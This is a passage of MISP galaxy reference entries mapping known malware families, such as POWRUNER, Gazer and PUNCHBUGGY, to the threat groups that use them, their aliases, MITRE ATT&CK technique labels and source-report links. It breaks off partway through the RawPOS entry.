https://attack.mitre.org/software/S0417
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

Pteranodon - S0147

[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: misp-galaxy:mitre-malware="Pteranodon - S0147"

Pteranodon - S0147 is also known as:

Pteranodon

Pteranodon - S0147 has relationships with:

similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3289. Table References
Links
https://attack.mitre.org/software/S0147
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/

POWRUNER - S0184

[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)

The tag is: misp-galaxy:mitre-malware="POWRUNER - S0184"

POWRUNER - S0184 is also known as:

POWRUNER

POWRUNER - S0184 has relationships with:

similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3290. Table References
Links
https://attack.mitre.org/software/S0184
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

RTM - S0148

[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). (Citation: ESET RTM Feb 2017)

The tag is: misp-galaxy:mitre-malware="RTM - S0148"

RTM - S0148 is also known as:

RTM - S0148 has relationships with:

similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1130" with estimative-language:likelihood-probability="almost-certain"

Table 3291. Table References
Links
https://attack.mitre.org/software/S0148
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

MoonWind - S0149

[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)

The tag is: misp-galaxy:mitre-malware="MoonWind - S0149"

MoonWind - S0149 is also known as:

MoonWind

MoonWind - S0149 has relationships with:

similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

Table 3292. Table References
Links
https://attack.mitre.org/software/S0149
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/

WINDSHIELD - S0155

[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: misp-galaxy:mitre-malware="WINDSHIELD - S0155"

WINDSHIELD - S0155 is also known as:

WINDSHIELD

WINDSHIELD - S0155 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 3293. Table References
Links
https://attack.mitre.org/software/S0155
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

KOMPROGO - S0156

[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)

The tag is: misp-galaxy:mitre-malware="KOMPROGO - S0156"

KOMPROGO - S0156 is also known as:

KOMPROGO

KOMPROGO - S0156 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3294. Table References
Links
https://attack.mitre.org/software/S0156
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

OSInfo - S0165

[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim’s computer and network. (Citation: Symantec Buckeye)

The tag is: misp-galaxy:mitre-malware="OSInfo - S0165"

OSInfo - S0165 is also known as:

OSInfo

OSInfo - S0165 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3295. Table References
Links
https://attack.mitre.org/software/S0165
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

SOUNDBITE - S0157

[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: misp-galaxy:mitre-malware="SOUNDBITE - S0157"

SOUNDBITE - S0157 is also known as:

SOUNDBITE

SOUNDBITE - S0157 has relationships with:

similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3296. Table References
Links
https://attack.mitre.org/software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

SEASHARPEE - S0185

[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)

The tag is: misp-galaxy:mitre-malware="SEASHARPEE - S0185"

SEASHARPEE - S0185 is also known as:

SEASHARPEE

SEASHARPEE - S0185 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1100" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

Table 3297. Table References
Links
https://attack.mitre.org/software/S0185
https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east

PHOREAL - S0158

[PHOREAL](https://attack.mitre.org/software/S0158) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: misp-galaxy:mitre-malware="PHOREAL - S0158"

PHOREAL - S0158 is also known as:

PHOREAL

PHOREAL - S0158 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 3298. Table References
Links
https://attack.mitre.org/software/S0158
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

SNUGRIDE - S0159

[SNUGRIDE](https://attack.mitre.org/software/S0159) is a backdoor that has been used by [menuPass](https://attack.mitre.org/groups/G0045) as first stage malware. (Citation: FireEye APT10 April 2017)

The tag is: misp-galaxy:mitre-malware="SNUGRIDE - S0159"

SNUGRIDE - S0159 is also known as:

SNUGRIDE

SNUGRIDE - S0159 has relationships with:

similar: misp-galaxy:tool="SNUGRIDE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 3299. Table References
Links
https://attack.mitre.org/software/S0159
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html

RemoteCMD - S0166

[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal’s PSEXEC functionality. (Citation: Symantec Buckeye)

The tag is: misp-galaxy:mitre-malware="RemoteCMD - S0166"

RemoteCMD - S0166 is also known as:

RemoteCMD

RemoteCMD - S0166 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3300. Table References
Links
https://attack.mitre.org/software/S0166
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

Matroyshka - S0167

[Matroyshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)

The tag is: misp-galaxy:mitre-malware="Matroyshka - S0167"

Matroyshka - S0167 is also known as:

Matroyshka

Matroyshka - S0167 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3301. Table References
Links
https://attack.mitre.org/software/S0167
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf

Wingbird - S0176

[Wingbird](https://attack.mitre.org/software/S0176) is a backdoor that appears to be a version of commercial software [FinFisher](https://attack.mitre.org/software/S0182). It is reportedly used to attack individual computers instead of networks. It was used by [NEODYMIUM](https://attack.mitre.org/groups/G0055) in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)

The tag is: misp-galaxy:mitre-malware="Wingbird - S0176"

Wingbird - S0176 is also known as:

Wingbird

Wingbird - S0176 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="LSASS Driver - T1177" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1035" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3302. Table References
Links
https://attack.mitre.org/software/S0176
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.microsoft.com/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha

DownPaper - S0186

[DownPaper](https://attack.mitre.org/software/S0186) is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)

The tag is: misp-galaxy:mitre-malware="DownPaper - S0186"

DownPaper - S0186 is also known as:

DownPaper

DownPaper - S0186 has relationships with:

similar: misp-galaxy:malpedia="DownPaper" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1086" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3303. Table References
Links
https://attack.mitre.org/software/S0186
http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf

Gazer - S0168

[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)

The tag is: misp-galaxy:mitre-malware="Gazer - S0168"

Gazer - S0168 is also known as:

Gazer
WhiteBear

Gazer - S0168 has relationships with:

similar: misp-galaxy:malpedia="Gazer" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1004" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screensaver - T1180" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Connection Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1116" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1096" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 3304. Table References
Links
https://attack.mitre.org/software/S0168
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://securelist.com/introducing-whitebear/81638/

PUNCHBUGGY - S0196

[PUNCHBUGGY](https://attack.mitre.org/software/S0196) is a backdoor malware used by [FIN8](https://attack.mitre.org/groups/G0061) that has been observed targeting POS networks in the hospitality industry. (Citation: Morphisec ShellTea June 2019)(Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: misp-galaxy:mitre-malware="PUNCHBUGGY - S0196"

PUNCHBUGGY - S0196 is also known as:

PUNCHBUGGY
ShellTea

PUNCHBUGGY - S0196 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Execution through Module Load - T1129" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="AppCert DLLs - T1182" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"

Table 3305. Table References
Links
https://attack.mitre.org/software/S0196
http://blog.morphisec.com/security-alert-fin8-is-back
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

RawPOS - S0169

[RawPOS](https://attack.mitre.org/software/S0169) is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)

The tag is: misp-galaxy:mitre-malware="RawPOS - S0169"

RawPOS - S0169 is also known as:

RawPOS
